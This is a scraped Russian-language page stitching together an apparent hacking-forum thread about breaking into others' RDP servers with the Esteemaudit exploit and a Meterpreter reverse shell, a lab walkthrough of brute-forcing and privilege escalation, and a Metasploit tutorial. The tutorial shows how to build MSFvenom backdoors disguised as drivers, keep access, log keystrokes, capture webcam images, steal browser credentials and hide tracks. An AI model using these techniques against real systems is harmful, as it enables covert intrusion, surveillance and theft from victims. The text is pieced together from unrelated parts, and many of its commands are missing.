Metasploit powershell вирус поднятие прав на rdp
Приветствую всех, отважился я на такой поступок как по балывать паблик)) (пабликом) по делится с Вами новым приёмом хека дедика, а именно: Windows Server 2003 SP1,SP2 и Windows XP SP0, SP1, SP3
Для начала нам по требуется скачать
затем копируем руби скрипт в эту же папку командой:
копируем все в созданную нами папку:
Запускаем Metasploit и настраиваемся на этот експлойт посмотрев его настройки.
задаем атакуемый RHOST
и нагрузку: set PAYLOAD windows/meterpreter/reverse_tcp
и конечно же наладим обратную связь: set LHOST
и ВАЖНО еще настроить експлойт, задать версию ОС windows для него, предварительно узнав какие версии он поддерживает командой: show TARGETS
а вообще узнать какую ОС мы атакуем можно с помощью сканера NMAP командой:
nmap -sS -sC -sV -O -p3389
Удачи. ) и хех, помните мою доброту!))
Покажи хотя бы один пример что тебе удалось взломать один комп?
[doublepost=1503911101,1503909219][/doublepost]всегда вот такая хрень выскакивает при сканировании:
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Linux 4.4, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
и как быть дальше?
ну давай, я ща тебе про свои подвиги все расскажу!
Вы вообще кто? И почему я тебе еще должен что то доказывать и показывать?
направление я дал дальше можете все изучить исходя из кода доработать, апгрейдить и юзать по полной!) Или Вы хотите что бы Вам зеро\дэй подарил?
1) Поставить себе на комп вирутальную машину, на нее поставить версии Win от первой Win Xp SP2 до Win 7
2) Пробовать эксплуатировать уязвимость, предварительно подняв и настроив сервер RDP
3) Писать сюда, если что то не получается
На данный момент, когда у Вас еще нет минимальных навыков, лезть с целью похекать чужое крайне необдуманный поступок
Все манипуляции делаю на Kali Linux. Основной машиной стоит win7.
Kali и win xp service pack 3 стоят на виртуальной машине wmvare
скажите может Kali должен быть основной машиной?
Все манипуляции делаю на Kali Linux. Основной машиной стоит win7.
Kali и win xp service pack 3 стоят на виртуальной машине wmvare
скажите может Kali должен быть основной машиной?
я поражаюсь наглостью и амбициями ньюфагов и так же толерантности администрации к сабжам.
Чеб не офтопить:
Дополню статью видяшечкой по теме для наглядности..
Launching Esteemaudit.
We are inside, waiting for meterpreter.
Exploit completed, but no session was created.
Почему может быть так? Все точно по инструкции.
Мб у меня должен быть открыт какой-то нестандартный порт?
Сижу со стационара через роутер, Кали основная
Объект со мной не в локалке
[doublepost=1504121608,1504114715][/doublepost]Предыдущий вопрос снимается. Решением ыло запускать это все не через Armitage, а через обычную консоль
Теперь другая проблема
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
Теперь другая проблема
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)[/quote]
Попробуй сначала UAC bypass.
Так этот эксплоит для доменной инфраструктуры. Вне домена не получится проэксплуатировать. Пришлось поднять домен в виртуальной машине чтобы проверить.
Ответ авторов на гитхабе :
the most rapid solution to testing the exploit is to virtualize two machine, a windows server edition from 2003 till 2012r2 to do as domain controller and a windows server 2003 or XP to do as Target. The exploit works only on a domain infrastructure, this is because it needs a CA to validate the certificate inside the logon request for smartcard authentication and it will create the callback needed to trigger the exploit. By default every domain controller applies a GPO that will authorize the machine target to log in with RDP smartcard logon.
Думаю, касательно данной темы каждый из вас уже имеет какие-то представления. Но имеются ли у вас полезные практические навыки, которые можно было бы результативно использовать для достижения своих чётко поставленных целей? Предлагаю сегодня вместе попрактиковаться над вопросом повышения привилегий в Win 7 (Exploit-DB), что послужит нам полезным уроком для последующей работы с Active Directory.
Наконец вышел офф релиз новой версии Parrot 3.9 Так что рекомендую))). Весь материал записываю именно в этой ОС.
Как вы помните отсюда, мы получили доступ к CRM, которая в сети была по адресу 192.168.101.10:88. Но давайте немного вернемся назад и поймем, откуда появился данный адрес. Довольно известная площадка предоставляет следующую структуру сети:
Из нее выделим два основных адреса и просканируем их.
Теперь стало немного яснее и можно продолжать дальше. Смысл в том, что из CRM можно выделить важную информацию и использовать ее для дальнейшей атаки. Разберем подробнее.
Username: admin
Primary Email: [email protected]
First Name: darthvader
Следующий наш этап — это разбор адреса 192.168.101.10:8080. Это почта.
Из данных выданной CRM мы можем предположить, что username — это [email protected], а пароль darthvader. В данном случае просто повезло. В жизни все бывает иначе и приходится потратить куда больше времени и сил для добычи/брута пароля… )))
Из почты мы получаем логин tech и rsa ключ для подлючения к шлюзу 2 офиса (Office 2 GW — 192.168.101.11). Создаем файлик с ключем (просто копируем все сообщение и делаем расширение .key) и подключаемся.
Отлично! Если взглянуть на структуру сети, видно, что есть 3 рабочих места:
На пинги они не отвечают, но на шлюзе присутствует nmap, воспользуемся им с опцией no ping -Pn
Видим терминальный сервер. По сути это RDP на порту 3389. Здорово! ) То, что надо. Надо попробовать к нему подключиться. Но сделать это так просто не получится. Сначала надо пробросить порт через консоль ssh. Нажимаем shift+
Прям ssh туннель подняли 🙂
— это информация о привязке портов. Означает следующее: порт_клиента:имя_сервера:порт_сервера. В данном примере мы перенаправляем 3389 порт сервера на 3389 порт нашей машины.
Пользователи запаролены, поэтому придется брутить.
Скажу честно, в моем случае не помогли patator, hydra и crowbar, хотя и устанавливал freerdp-x11, freerdp2-x11 и все зависимости. В общем, пришел к выводу, что пора вспомнить старый добрый ncrack =)) Да, да! Нечего удивляться) И скажу честно, я его использую довольно часто.
Пароль я затер. Но он мне известен ))) Самое время посмотреть, что там на ПК ) брут пользователя user ни к чему не привел. Пароль будет в открытом виде на видео ниже 😉
Понятно, что мы залогинились под обычным пользователем. А user это администратор. В принципе, ничего страшного. Сейчас поднимем привилегии =) с помощью этого ))
Остается создать нового пользователя с правами администратора =)
И вот наш итоговый результат:
Теперь можно зайти под админом и творить все, что угодно)))
В видео ниже, как обычно, всё будет нагляднее. Так что получайте удовольствие =)
А в следующей статье из данной серии мы будем ломать Active Directory. Так что до встречи)
Этичный хакинг и тестирование на проникновение, информационная безопасность
Оглавление
1. Введение
В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.
Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру, VNC серверами, TeamViewer (если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя Metasploit.
Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.
2. Что такое полезная нагрузка (payload)
Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.
Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.
3. Что такое бэкдоры и трояны
Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).
В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.
Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.
Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.
Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.
4. Инструкция по использованию MSFvenom – генератора полезной нагрузки
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.
Знакомство с программой начнём со справки по её опциям.
В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).
5. Как создать полезную нагрузку
Для генерации полезной нагрузки обязательными являются два флага: -p and -f.
- -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
- lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
- lport=4444 – порт, к которому будет делаться обратное соединение
- -f exe – формат полезной нагрузки (исполнимый файл Windows)
- -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл
6. Виды полезной нагрузки MSFvenom
Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.
Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:
Будет выведен такой список:
Список длинный, включает в себя 538 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.
Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.
Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.
Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.
Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу.
Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.
shell означает открытие командной оболочки.
Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.
Имеется несколько специфичных полезных нагрузок:
- windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
- windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
- windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
- windows/exec. Выполняет произвольную команду.
- windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
- windows/loadlibrary. Загружает библиотеку по произвольному пути.
- windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.
По принципу работы, полезную нагрузку можно разделить на два типа:
Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.
7. Как узнать опции полезной нагрузки MSFvenom
У многих полезных нагрузок имеются опции. Для их показа применяется флаг --list-options. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.
Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.
Вспомним наш пример:
8. Форматы полезной нагрузки
Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.
Чтобы вывести список всех поддерживаемых форматов, выполните команду:
9. Примеры генерации полезной нагрузки в MSFvenom
Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:
Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой
Чтобы узнать внешний IP:
Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):
И будет создан файл backdoor.exe.
Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.
Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.
Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.
Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:
Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.
Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.
Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:
10. Работа с бэкдорами в Metasploit
Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.
Нужно установить настройки – IP и порт локальной машины:
Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.
Когда настройки сделаны, запустите выполнение модуля:
11. Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
Основные команды:
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
Сетевые команды:
Системные команды:
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:
Команды для управления веб-камерой:
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):
Будет сделана и показана фотография с веб-камеры удалённого компьютера.
Команды вывода аудио:
Команды повышения привилегий:
Команда для работы с базой данных паролей:
Команды для работы с Timestomp (временными метками файла):
Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.
12. Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
Далее запустите Metasploit (если вы это ещё не сделали):
Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
13. Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.
Ещё один пример:
Модуль вывел следующую информацию:
Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.
14. Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
- post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
- post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
- post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
- post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows
Количество модулей достаточно велико:
Все эти модули можно применять во время сеанса Meterpreter.
15. Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
16. Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.
Читайте также: